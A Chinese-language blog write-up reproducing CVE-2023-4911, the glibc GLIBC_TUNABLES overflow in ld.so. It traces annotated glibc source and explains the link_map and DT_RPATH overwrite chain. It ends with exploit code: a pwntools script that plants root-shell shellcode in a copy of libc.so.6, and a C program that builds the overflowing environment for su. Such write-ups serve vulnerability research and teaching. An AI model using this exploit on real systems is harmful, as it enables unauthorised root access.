「PWN」CVE-2023-4911 复现
最近接触到了这个洞,感觉利用面还是挺广的,虽然国内绝大多数机子似乎 libc 版本都挺低的(),总而言之先调调看看吧。
环境搭建
测试环境
OS: Ubuntu 22.04.1 LTS on Windows 10 x86_64
Kernel: 5.15.123.1-microsoft-standard-WSL2
Glibc: 2.35-0ubuntu3.3
测试效果
漏洞点
在执行 set-user-ID
和 set-group-ID
程序时,代码会以特权模式执行。在 commit 2ed18c("Fix SXID_ERASE behavior in setuid programs (BZ #27471)") (glibc2.34) 中引入了一个处理 GLIBC_TUNABLES 环境变量时的缓存区溢出漏洞。
我们可以观察一下 glibc
的源码
------------------------------------------------------------------------
269 void
270 __tunables_init (char **envp)
271 {
272 char *envname = NULL;
273 char *envval = NULL;
274 size_t len = 0;
275 char **prev_envp = envp;
...
279 while ((envp = get_next_env (envp, &envname, &len, &envval,
280 &prev_envp)) != NULL)
281 {
282 if (tunable_is_name ("GLIBC_TUNABLES", envname))
283 {
284 char *new_env = tunables_strdup (envname);
285 if (new_env != NULL)
286 parse_tunables (new_env + len + 1, envval);
287 /* Put in the updated envval. */
288 *prev_envp = new_env;
289 continue;
290 }
------------------------------------------------------------------------
在 __tunables_init() 函数定义这里,我们可以观察到它首先对 envname 进行了判断(#282),判断条件是 orig == envname
,且后一位 envname == '=' && orig == '\0'
。
static __always_inline bool
tunable_is_name (const char *orig, const char *envname)
{
for (;*orig != '\0' && *envname != '\0'; envname++, orig++)
if (*orig != *envname)
break;
/* The ENVNAME is immediately followed by a value. */
if (*orig == '\0' && *envname == '=')
return true;
else
return false;
}
此后,它会对找到的 envname 进行 tunables_strdup
深拷贝(#284)
static char *
tunables_strdup (const char *in)
{
size_t i = 0;
while (in[i++] != '\0');
char *out = __sbrk (i);
/* For most of the tunables code, we ignore user errors. However,
this is a system error - and running out of memory at program
startup should be reported, so we do. */
if (out == (void *)-1)
_dl_fatal_printf ("sbrk() failure while processing tunables\n");
i--;
while (i-- > 0)
out[i] = in[i];
return out;
}
对副本进行拷贝后,它将原本的 GLIBC_TUNABLES
过滤后替换为副本(利用 parse_tunables()
,其中第一个参数是环境变量副本的值对应的指针,第二个参数是原始的环境变量的值的指针)
在 parse_tunables()
中,它会移除所有 arg1 里的危险 tunables( SXID_ERASE
),但会保留 SXID_IGNORE
和 NONE
,关于这点我们后面再说。 GLIBC_TUNABLES
的格式为 GLIBC_TUNABLES=aaa=111:bbb=222
,在前面都是对一些情况的判断,如没有赋值的情况等,但我们考虑一种情况:当我们的 GLIBC_TUNABLES=AAA=AAA=BBB
时,我们查看程序流:
// 第一次
static void
parse_tunables (char *tunestr, char *valstring)
{
if (tunestr == NULL || *tunestr == '\0')
return;
char *p = tunestr; // >> [A]AA=AAA=BBB
size_t off = 0;
while (true)
{
char *name = p;
size_t len = 0;
/* First, find where the name ends. */
while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
len++;
// >> len = 3
/* If we reach the end of the string before getting a valid name-value
pair, bail out. */
if (p[len] == '\0')
{
if (__libc_enable_secure)
tunestr[off] = '\0';
return;
}
/* We did not find a valid name-value pair before encountering the
colon. */
if (p[len]== ':')
{
p += len + 1;
continue;
}
p += len + 1; // >> AAA=[A]AA=BBB
/* Take the value from the valstring since we need to NULL terminate it. */
char *value = &valstring[p - tunestr]; // >> AAA=[A]AA=BBB
len = 0;
while (p[len] != ':' && p[len] != '\0')
len++; // >> len=7
/* Add the tunable if it exists. */
for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
{
tunable_t *cur = &tunable_list[i];
if (tunable_is_name (cur->name, name))
{
/* If we are in a secure context (AT_SECURE) then ignore the
tunable unless it is explicitly marked as secure. Tunable
values take precedence over their envvar aliases. We write
the tunables that are not SXID_ERASE back to TUNESTR, thus
dropping all SXID_ERASE tunables and any invalid or
unrecognized tunables. */
if (__libc_enable_secure)
{
if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
{
if (off > 0) // off = 0
tunestr[off++] = ':';
const char *n = cur->name;
while (*n != '\0')
tunestr[off++] = *n++; // [AAA]=AAA=BBB
tunestr[off++] = '='; // >> AAA[=]AAA=BBB
for (size_t j = 0; j < len; j++)
tunestr[off++] = value[j]; // >> AAA=[AAA=BBB]
}
if (cur->security_level != TUNABLE_SECLEVEL_NONE)
break; // >> 触发
}
value[len] = '\0';
tunable_initialize (cur, value);
break;
}
}
if (p[len] != '\0') // AAA=[A]AA=BBB(), 所以没进入
p += len + 1;
}
}
// 第二次
static void
parse_tunables (char *tunestr, char *valstring)
{
if (tunestr == NULL || *tunestr == '\0')
return;
char *p = tunestr;
size_t off = 0;
while (true)
{
char *name = p; // AAA=[A]AA=BBB
size_t len = 0;
/* First, find where the name ends. */
while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
len++;
// >> len = 3
/* If we reach the end of the string before getting a valid name-value
pair, bail out. */
if (p[len] == '\0')
{
if (__libc_enable_secure)
tunestr[off] = '\0';
return;
}
/* We did not find a valid name-value pair before encountering the
colon. */
if (p[len]== ':')
{
p += len + 1;
continue;
}
p += len + 1; // AAA=AAA=[B]BB
/* Take the value from the valstring since we need to NULL terminate it. */
char *value = &valstring[p - tunestr]; // AAA=AAA=[B]BB
len = 0;
while (p[len] != ':' && p[len] != '\0')
len++; // >> len=3
/* Add the tunable if it exists. */
for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
{
tunable_t *cur = &tunable_list[i];
if (tunable_is_name (cur->name, name))
{
/* If we are in a secure context (AT_SECURE) then ignore the
tunable unless it is explicitly marked as secure. Tunable
values take precedence over their envvar aliases. We write
the tunables that are not SXID_ERASE back to TUNESTR, thus
dropping all SXID_ERASE tunables and any invalid or
unrecognized tunables. */
if (__libc_enable_secure)
{
if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
{
if (off > 0)
tunestr[off++] = ':'; // >> AAA=AAA=BBB[:]
const char *n = cur->name;
while (*n != '\0')
tunestr[off++] = *n++; // >> AAA=AAA=BBB:[AAA]
tunestr[off++] = '='; // >> AAA=AAA=BBB:AAA[=]
for (size_t j = 0; j < len; j++)
tunestr[off++] = value[j]; // >> AAA=AAA=BBB:AAA=[BBB]
}
if (cur->security_level != TUNABLE_SECLEVEL_NONE)
break; // >> 触发
}
value[len] = '\0';
tunable_initialize (cur, value);
break;
}
}
if (p[len] != '\0') // AAA=AAA=BBB[:]AAA=BBB,所以没进入
p += len + 1;
}
}
注意到此时我们已经溢出了 tunestr,但是还没完
// 第三次
static void
parse_tunables (char *tunestr, char *valstring)
{
if (tunestr == NULL || *tunestr == '\0')
return;
char *p = tunestr;
size_t off = 0;
while (true)
{
char *name = p; // AAA=AAA=BBB[:]AAA=BBB
size_t len = 0;
/* First, find where the name ends. */
while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
len++;
// >> len = 0
/* If we reach the end of the string before getting a valid name-value
pair, bail out. */
if (p[len] == '\0')
{
if (__libc_enable_secure)
tunestr[off] = '\0';
return;
}
/* We did not find a valid name-value pair before encountering the
colon. */
if (p[len]== ':')
{
p += len + 1;
continue;
}
// 第四次
static void
parse_tunables (char *tunestr, char *valstring)
{
if (tunestr == NULL || *tunestr == '\0')
return;
char *p = tunestr;
size_t off = 0;
while (true)
{
char *name = p; // AAA=AAA=BBB:[A]AA=BBB
size_t len = 0;
/* First, find where the name ends. */
while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
len++;
// >> len = 3
/* If we reach the end of the string before getting a valid name-value
pair, bail out. */
if (p[len] == '\0')
{
if (__libc_enable_secure)
tunestr[off] = '\0';
return;
}
/* We did not find a valid name-value pair before encountering the
colon. */
if (p[len]== ':')
{
p += len + 1;
continue;
}
p += len + 1; // AAA=AAA=BBB:AAA=[B]BB
/* Take the value from the valstring since we need to NULL terminate it. */
char *value = &valstring[p - tunestr]; // AAA=AAA=BBB\0UNEX[P]ECTED_STRING\0
len = 0;
while (p[len] != ':' && p[len] != '\0')
len++; // >> len=3
/* Add the tunable if it exists. */
for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
{
tunable_t *cur = &tunable_list[i];
if (tunable_is_name (cur->name, name))
{
/* If we are in a secure context (AT_SECURE) then ignore the
tunable unless it is explicitly marked as secure. Tunable
values take precedence over their envvar aliases. We write
the tunables that are not SXID_ERASE back to TUNESTR, thus
dropping all SXID_ERASE tunables and any invalid or
unrecognized tunables. */
if (__libc_enable_secure)
{
if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
{
if (off > 0)
tunestr[off++] = ':'; // >> AAA=AAA=BBB:AAA=BBB[:]
const char *n = cur->name;
while (*n != '\0')
tunestr[off++] = *n++; // >> AAA=AAA=BBB:AAA=BBB:[AAA]
tunestr[off++] = '='; // >> AAA=AAA=BBB:AAA=BBB:AAA=
for (size_t j = 0; j < len; j++)
tunestr[off++] = value[j]; // >> AAA=AAA=BBB:AAA=BBB:AAA=[PEC]
}
if (cur->security_level != TUNABLE_SECLEVEL_NONE)
break; // >> 触发
}
value[len] = '\0';
tunable_initialize (cur, value);
break;
}
}
if (p[len] != '\0') // AAA=AAA=BBB:AAA=[B]BB{:}AAA=PEC,进入
p += len + 1; // AAA=AAA=BBB:AAA=BBB:[A]AA=PEC
}
}
// 第五次
static void
parse_tunables (char *tunestr, char *valstring)
{
if (tunestr == NULL || *tunestr == '\0')
return;
char *p = tunestr;
size_t off = 0;
while (true)
{
char *name = p; // AAA=AAA=BBB:AAA=BBB:[A]AA=PEC
size_t len = 0;
/* First, find where the name ends. */
while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
len++;
// >> len = 3
/* If we reach the end of the string before getting a valid name-value
pair, bail out. */
if (p[len] == '\0')
{
if (__libc_enable_secure)
tunestr[off] = '\0';
return;
}
/* We did not find a valid name-value pair before encountering the
colon. */
if (p[len]== ':')
{
p += len + 1;
continue;
}
p += len + 1; // AAA=AAA=BBB:AAA=BBB:AAA=[P]EC
/* Take the value from the valstring since we need to NULL terminate it. */
char *value = &valstring[p - tunestr]; // AAA=AAA=BBB\0UNEXPECTED_S[T]RING\0
len = 0;
while (p[len] != ':' && p[len] != '\0')
len++; // >> len=3
/* Add the tunable if it exists. */
for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
{
tunable_t *cur = &tunable_list[i];
if (tunable_is_name (cur->name, name))
{
/* If we are in a secure context (AT_SECURE) then ignore the
tunable unless it is explicitly marked as secure. Tunable
values take precedence over their envvar aliases. We write
the tunables that are not SXID_ERASE back to TUNESTR, thus
dropping all SXID_ERASE tunables and any invalid or
unrecognized tunables. */
if (__libc_enable_secure)
{
if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
{
if (off > 0)
tunestr[off++] = ':'; // >> AAA=AAA=BBB:AAA=BBB:AAA=PEC[:]
const char *n = cur->name;
while (*n != '\0')
tunestr[off++] = *n++; // >> AAA=AAA=BBB:AAA=BBB:AAA=PEC:[AAA]
tunestr[off++] = '='; // >> AAA=AAA=BBB:AAA=BBB:AAA=PEC:AAA[=]
for (size_t j = 0; j < len; j++)
tunestr[off++] = value[j]; // >> AAA=AAA=BBB:AAA=BBB:AAA=PEC:AAA=TRI
}
if (cur->security_level != TUNABLE_SECLEVEL_NONE)
break; // >> 触发
}
value[len] = '\0';
tunable_initialize (cur, value);
break;
}
}
if (p[len] != '\0') // AAA=AAA=BBB:AAA=BBB:[A]AA={P}EC:AAA=TRI,进入
p += len + 1; // AAA=AAA=BBB:AAA=BBB:AAA=[P]EC:AAA=TRI
}
}
下一次由于 tunable_is_name (cur->name, name)
不再满足,退出。
我们可以进行简单的测试:
利用思路
既然我们已经找到了漏洞点,那么我们就要思考如何利用它了。首先来看 tunestr,它是由 tunables_strdup
分配的。在这里,根据 commit 33237fe,已经将 sbrk
更换为了 __minimal_malloc() 函数(因此 glibc2.34 实际上无法使用这个 exp),观察函数可以知道它只是一个 mmap
的包装实现而已。此时我们观察 vmmap,发现此时可写的地方很少,只有 ld.so 本身的可读可写段(第一页是 RELRO 段,在后面会被 mprotect
改写为只读;不过第二页可以用),但是我们观察 __minimal_malloc
,可以知道它至少分配两页,因此我们的缓存区不可能分配在 ld.so 的第二页。
Insufficient space left; allocate another page plus one extra page to reduce number of mmap calls.
因此我们只能溢出到 __minimal_malloc
分配出的页上。注意到 __tunables_init
可以处理多个环境变量,因此我们可以考虑这样:构建两个 GLIBC_TUNABLES
环境变量,第一个不溢出(长度大到不能被 ld.so 的读写段装下,而是使用 mmap
分配),第二个溢出(也同样长到使用 mmap
分配,由于 mmap
是从高到低分配的,所以这个会在第一个的下方),使其覆盖第一个 GLIBC_TUNABLES
。
这里看原文+调试的时候稍微有点没理解,因为观察到第二个确实在 ld 下方,但是溢出不到第一个,是因为其实 EXP 并没有使用这种方法。EXP 的第一个
GLIBC_TUNABLES
变量单纯用来填充满 ld.so 的读写段,而并非像这里提到的溢出。
然而这个思路是不可行的。如果覆盖第一个 GLIBC_TUNABLES
,我们只有两个利用思路:
- 将其覆盖为
LD_PRELOAD
或者LD_LIBRARY_PATH
使其指向我们的恶意 ld 路径。但这是不可行的,因为这些环境变量后面在 ld 初始化时会经由process_envvars()
被清除。 - 将其覆盖为
SXID_ERASE
的 tunables 。根据漏洞点里提到的内容,它会清除属于SXID_ERASE
的 tunables,而我们此时溢出时它已经被清理过了,因此写它是完全没有问题的。然而问题是在 Linux 下不存在这样一个 SUID-root 程序(既运行setuid(0)
再execve
其它程序,又在运行时保留之前的环境变量)(例如在 OpenBSD 上,/usr/bin/chpass
会首先setuid(0)
然后执行execve(/usr/sbin/pwd_mkdb)
)
但是在 _dl_new_object()
中(真不知道他们是怎么找到的这个调用链的,fuzz?),存在一个链表 link_map
,它的内存其实是由 calloc
分配的,也就是我们的 __minimal_calloc
,但是这个函数仅仅调用了 __minimal_malloc
而没有初始化为 0
根据 backtrace,在
_dl_sysdep_start+930
的位置调用了__tunables_init
,在_dl_sysdep_start+1020->dl_main+2403
的地方调用了_dl_new_object
,中间实在是隔了十座大山。
/* We use this function occasionally since the real implementation may
be optimized when it can assume the memory it returns already is
set to NUL. */
void *
__minimal_calloc (size_t nmemb, size_t size)
{
/* New memory from the trivial malloc above is always already cleared.
(We make sure that's true in the rare occasion it might not be,
by clearing memory in free, below.) */
size_t bytes = nmemb * size;
#define HALF_SIZE_T (((size_t) 1) << (8 * sizeof (size_t) / 2))
if (__builtin_expect ((nmemb | size) >= HALF_SIZE_T, 0)
&& size != 0 && bytes / size != nmemb)
return NULL;
return malloc (bytes);
}
这原本是合理的,因为根据 __minimal_malloc
的逻辑,它总是返回全 0 的内存块,但是当我们有了一个缓存区溢出后就不一样了。根据 exp 加上我们的测试,这个返回的内存块距离我们的第二个 GLIBC_TUNABLES
变量仅有 0xc40 的距离,这是完全够我们覆盖的。
原文里说 but we failed because of two assert()ion failures in setup_vdso(), which immediately abort() ld.so
,但是我测试修改 l_next
和 l_prev
时并没有报 assert(我仅仅修改了第一个的 l_next
和 l_prev
),且查看 _dl_new_object
的代码,返回的是新的链表头,也不应该有错误,所以我估计是溢出太多溢到了第二个 link_map
,也就是 setup_vdso
所调用返回的 link_map
,所以这里是否能直接修改有待挖掘,在本文中,我们继续按照原文思路。
既然我们可以修改 l_next
和 l_prev
,那自然其它 link_map
的指针我们也能修改,其中最值得关注的就是 l_info
,因为它是一个 Elf64_Dyn
结构体的指针数组。其中 l_info[DT_RPATH]
这个指针可以指定我们的运行时 ld 搜索目录。我们只要覆盖这个指针,控制它指向的位置和内容,就可以让 ld.so
强制信任我们自己的 libc.so.6
或者是 LD_PRELOAD
库。那么控制这个指针指向的位置是什么呢?思考我们可以控制的位置,除了这几个可写的段,就是环境变量所处的栈了。显然写在栈上会更方便一些。
根据 bprm_stack_limit(),可以知道我们使用 argv + envp 最多占用 6MB(8MB / 4 _ 3) 的内存大小。而在 AMD64 的情况下,栈在虚拟地址空间中首先会从 2 << 47
处开始分配 STACK_TOP,然后进行 randomize_stack_top,如果在 ASLR 开启的情况下,就会进行偏移。这个偏移范围是 0x3fffff _ PAGE_SIZE
,也就是 16GB 的范围,具体可以从arch/x86/include/asm/elf.h 找到 STACK_RND_MASK
的值。
unsigned long randomize_stack_top(unsigned long stack_top)
{
unsigned long random_variable = 0;
if (current->flags & PF_RANDOMIZE) {
random_variable = get_random_long();
random_variable &= STACK_RND_MASK;
random_variable <<= PAGE_SHIFT;
}
#ifdef CONFIG_STACK_GROWSUP
return PAGE_ALIGN(stack_top) + random_variable;
#else
return PAGE_ALIGN(stack_top) - random_variable;
#endif
}
因此,如果我们将 l_info[DT_RPATH]
指向的地址改为栈区域的中心再减掉我们 envp 的偏移(其实也不用,毕竟范围挺大了),也就是大概 0x7ffdfffff030
的位置,那么我们就有 的概率击中我们的输入。现在的问题就是我们要输入什么?
让我们来看 l_info[DT_RPATH]
,这是一个 Elf64_Dyn
指针,存在时,它将会运行 decompose_rpath
来信任目录(相对目录)。值得注意的是,这里它的计算是采用 (D_PTR (l, l_info[DT_STRTAB]) + l->l_info[DT_RPATH]->d_un.d_val
来操作的。对于这个宏,因为 amd64 已经进行了 ld 重定位,因此我们可以直接计算。它其实指向的是 l_info[DT_STRTAB]->d_un.d_ptr + l_info[DT_RPATH]->d_un.d_val
的位置。
if (l->l_info[DT_RPATH])
{
/* Allocate room for the search path and fill in information
from RPATH. */
decompose_rpath (&l->l_rpath_dirs,
(const void *) (D_PTR (l, l_info[DT_STRTAB])
+ l->l_info[DT_RPATH]->d_un.d_val),
l, "RPATH");
/* During rtld init the memory is allocated by the stub
malloc, prevent any attempt to free it by the normal
malloc. */
l->l_rpath_dirs.malloced = 0;
}
#define D_PTR(map, i) \
((map)->i->d_un.d_ptr + (dl_relocate_ld (map) ? 0 : (map)->l_addr))
那么这个内存中有什么呢?给出如下内存布局。可以看到分别对应 d_tag
和 d_ptr/d_val
。$9
也就是 l_info[DT_STRTAB]
,0xcff0
也就是 l_info[DT_STRTAB]->d_un.d_ptr
的位置。我们观察它的前后,就能在 -0x14
的位置发现一个单独的 "
,这显然很适合作为我们的目录。我们只需要使得 l_info[DT_RPATH]->d_un.d_val
的位置填入 0xffffffffffec
即可指向我们的 "
目录。
但是此时我们还有最后一个问题:我们要溢出到 l_info[RT_PATH]
,但不能修改 l_prev
和 l_next
(如果可能,我们希望其它也是 NULL 来规避一些其它的检查)此时回到 parse_tunables
函数,我们可以发现它拷贝是使用的栈上的数据,因此拷贝 NULL 字节显然是可行的。
// 第四次
static void
parse_tunables (char *tunestr, char *valstring)
{
if (tunestr == NULL || *tunestr == '\0')
return;
char *p = tunestr;
size_t off = 0;
while (true)
{
char *name = p; // AAA=AAA=BBB:[A]AA=BBB
size_t len = 0;
/* First, find where the name ends. */
while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
len++;
// >> len = 3
/* If we reach the end of the string before getting a valid name-value
pair, bail out. */
if (p[len] == '\0')
{
if (__libc_enable_secure)
tunestr[off] = '\0';
return;
}
/* We did not find a valid name-value pair before encountering the
colon. */
if (p[len]== ':')
{
p += len + 1;
continue;
}
p += len + 1; // AAA=AAA=BBB:AAA=[B]BB
/* Take the value from the valstring since we need to NULL terminate it. */
char *value = &valstring[p - tunestr]; // AAA=AAA=BBB\0\0\0\0\0[\0]\0\0
len = 0;
while (p[len] != ':' && p[len] != '\0')
len++; // >> len=3
/* Add the tunable if it exists. */
for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
{
tunable_t *cur = &tunable_list[i];
if (tunable_is_name (cur->name, name))
{
/* If we are in a secure context (AT_SECURE) then ignore the
tunable unless it is explicitly marked as secure. Tunable
values take precedence over their envvar aliases. We write
the tunables that are not SXID_ERASE back to TUNESTR, thus
dropping all SXID_ERASE tunables and any invalid or
unrecognized tunables. */
if (__libc_enable_secure)
{
if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
{
if (off > 0)
tunestr[off++] = ':'; // >> AAA=AAA=BBB:AAA=BBB[:]
const char *n = cur->name;
while (*n != '\0')
tunestr[off++] = *n++; // >> AAA=AAA=BBB:AAA=BBB:[AAA]
tunestr[off++] = '='; // >> AAA=AAA=BBB:AAA=BBB:AAA=
for (size_t j = 0; j < len; j++)
tunestr[off++] = value[j]; // >> AAA=AAA=BBB:AAA=BBB:AAA=[\0\0\0]
}
if (cur->security_level != TUNABLE_SECLEVEL_NONE)
break; // >> 触发
}
value[len] = '\0';
tunable_initialize (cur, value);
break;
}
}
if (p[len] != '\0') // AAA=AAA=BBB:AAA=[B]BB{:}AAA=PEC,进入
p += len + 1; // AAA=AAA=BBB:AAA=BBB:[A]AA=\0\0\0
}
}
// 第五次
static void
parse_tunables (char *tunestr, char *valstring)
{
if (tunestr == NULL || *tunestr == '\0')
return;
char *p = tunestr;
size_t off = 0;
while (true)
{
char *name = p; // AAA=AAA=BBB:AAA=BBB:[A]AA=\0\0\0
size_t len = 0;
/* First, find where the name ends. */
while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
len++;
// >> len = 3
/* If we reach the end of the string before getting a valid name-value
pair, bail out. */
if (p[len] == '\0')
{
if (__libc_enable_secure)
tunestr[off] = '\0';
return;
}
/* We did not find a valid name-value pair before encountering the
colon. */
if (p[len]== ':')
{
p += len + 1;
continue;
}
p += len + 1; // AAA=AAA=BBB:AAA=BBB:AAA=[\0]\0\0
/* Take the value from the valstring since we need to NULL terminate it. */
char *value = &valstring[p - tunestr]; // AAA=AAA=BBB\0\0\0\0\0\0\0\0\0\0\0\0\0[\0]\0\0
len = 0;
while (p[len] != ':' && p[len] != '\0')
len++; // >> len=0
/* Add the tunable if it exists. */
for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
{
tunable_t *cur = &tunable_list[i];
if (tunable_is_name (cur->name, name))
{
/* If we are in a secure context (AT_SECURE) then ignore the
tunable unless it is explicitly marked as secure. Tunable
values take precedence over their envvar aliases. We write
the tunables that are not SXID_ERASE back to TUNESTR, thus
dropping all SXID_ERASE tunables and any invalid or
unrecognized tunables. */
if (__libc_enable_secure)
{
if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
{
if (off > 0)
tunestr[off++] = ':'; // AAA=AAA=BBB:AAA=BBB:AAA=\0\0\0[:]
const char *n = cur->name;
while (*n != '\0')
tunestr[off++] = *n++; // AAA=AAA=BBB:AAA=BBB:AAA=\0\0\0:[AAA]
tunestr[off++] = '='; // AAA=AAA=BBB:AAA=BBB:AAA=\0\0\0:AAA=
for (size_t j = 0; j < len; j++)
tunestr[off++] = value[j]; // AAA=AAA=BBB:AAA=BBB:AAA=\0\0\0:AAA=
}
if (cur->security_level != TUNABLE_SECLEVEL_NONE)
break; // >> 触发
}
value[len] = '\0';
tunable_initialize (cur, value);
break;
}
}
if (p[len] != '\0') // AAA=AAA=BBB:AAA=BBB:AAA=[\0]\0\0:AAA=
p += len + 1;
}
}
// 下一次退出
因此,我们攻击链已经很明显了:构建一个恶意的 libc.so.6
放在 "
目录下,然后溢出 l_info[RT_PATH]
指向栈上,栈上存上大量的 0xffffffffffcb
,只要命中,就会信任我们的恶意 libc.so.6
,从而拿到 root。
exp
接下来就是攻击脚本编写了。首先我们构建恶意的 libc.so.6
。通过将 __libc_start_main
改写为 shellcode(setuid(0) + setgid(0) + sh())
即可做到。
from pwn import *
context(arch='amd64', os='linux')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
d = bytearray(open(libc.path, 'rb').read())
idx = d.find(libc.read(libc.symbols['__libc_start_main'], 0x10))
sc = asm(shellcraft.setuid(0) + shellcraft.setgid(0) + shellcraft.sh())
d[idx:idx+len(sc)] = sc
mkdir_p('"')
open('"/libc.so.6', 'wb').write(d)
我们首先要填满 ld.so 的读写段,让我们后面的攻击在另一个新开的段上,在这里,使用 0x1000
左右大小的即可。
此时,我们需要知道 l_info[RT_PATH]
的偏移。由于 __minimal_malloc
将会立即在我们的第二个 GLIBC_TUNABLES
后面开辟内存,所以任何溢出都会导致它 l_prev
之类的位置被改写,想要将它放到一个较为安全的位置,我们可以考虑再多加第三个 GLICB_TUNABLES
作为分割。
首先我们计算第一次溢出了多少字节::<NAME>=
*2 + <VALUE>
,然后来到环境变量之后的 :<NAME>=
的偏移处,继续拷贝并溢出 len(<VALUE>)
个字节,后面的我们不再考虑。在我们这里,我们的 :<NAME>=
为 21 字节。经过计算,拷贝的第一个字节在 0x5f1
处,对应 envp[2+0x14]
,而 l_info[RT_PATH]
在 0x6d8
处,对应 envp[2+0x14+(0x6d8-0x5f1)]=envp[0xfd]
。我们测试一下
可以看到确实成功了。此时我们就可以修改它指向栈上了。在这里,我们填充 5MB 的 -0x14。
可以看到,此时参数已经全部准备完毕。
成功加载恶意 libc
最终 exp,需要断在 dl-object.c:92
处手动设置 l_info[RT_PATH]
为栈上的地址,否则得要写一个循环爆破,懒得写了。
// gcc -DNO_ASLR exp.c -g -o exp
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
int main() {
char *envp[0x1000] = {NULL};
char *argv[] = {"/usr/bin/su", "--help", NULL};
// 初始化 envp
for (int i = 0; i < 0xfff; i++) {
envp[i] = "";
}
// 填满 ld.so 读写段
char p[0xd00];
strcpy(p, "GLIBC_TUNABLES=glibc.malloc.mxfast=");
for (int i = strlen(p); i < sizeof(p) - 1; i++) {
p[i] = 'A';
}
p[sizeof(p) - 1] = '\0';
envp[0] = p;
// overflow
char overflow[0x300];
strcpy(overflow, "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast="); // 55
for (int i = strlen(overflow); i < sizeof(overflow) - 1; i++) {
overflow[i] = 'B';
}
overflow[sizeof(overflow) - 1] = '\0';
envp[1] = overflow;
// 分割块
char p2[0x300];
strcpy(p2, "GLIBC_TUNABLES=glibc.malloc.mxfast=");
for (int i = strlen(p2); i < sizeof(p2) - 1; i++) {
p2[i] = 'C';
}
p2[sizeof(p2) - 1] = '\0';
envp[0x500] = p2;
// 栈
char dt_rpath[0x10000]; // 1MB
for( int i = 0; i<sizeof(dt_rpath); i+=8) {
*(unsigned long long *)&dt_rpath[i] = -0x14;
}
for (int i = 0xff0; i < 0xff6; i++) {
envp[i] = dt_rpath;
}
envp[0xff6] = "AAAAA"; // alignment
envp[0xfd] = "MuElnova";
execve(argv[0], argv, envp);
}
修复
通过检测输入是否完成( p[len] == '\0'
)来修复。
备注
如何构建不同版本的 GLIBC?
在 PoC 发布时,GNU 已经发布了 GLIBC 2.35-0ubuntu3.4,且删除了在软件源中的 GLIBC 2.35-0ubuntu3.3,因此我们必须降级安装。
2.35-0ubuntu3.3 : glibc package : Ubuntu (launchpad.net),不同的版本搜索就行了。
# 需要同时安装 amd64/i386 的 tarball
# https://launchpad.net/ubuntu/jammy/i386/libc6/2.35-0ubuntu3.3
# https://launchpad.net/ubuntu/jammy/amd64/libc6/2.35-0ubuntu3.3
# Downloadable files
dpkg -i libc6_2.35*.deb
参考资料
oss-sec: CVE-2023-4911: Local Privilege Escalation in the glibc's ld.so (seclists.org)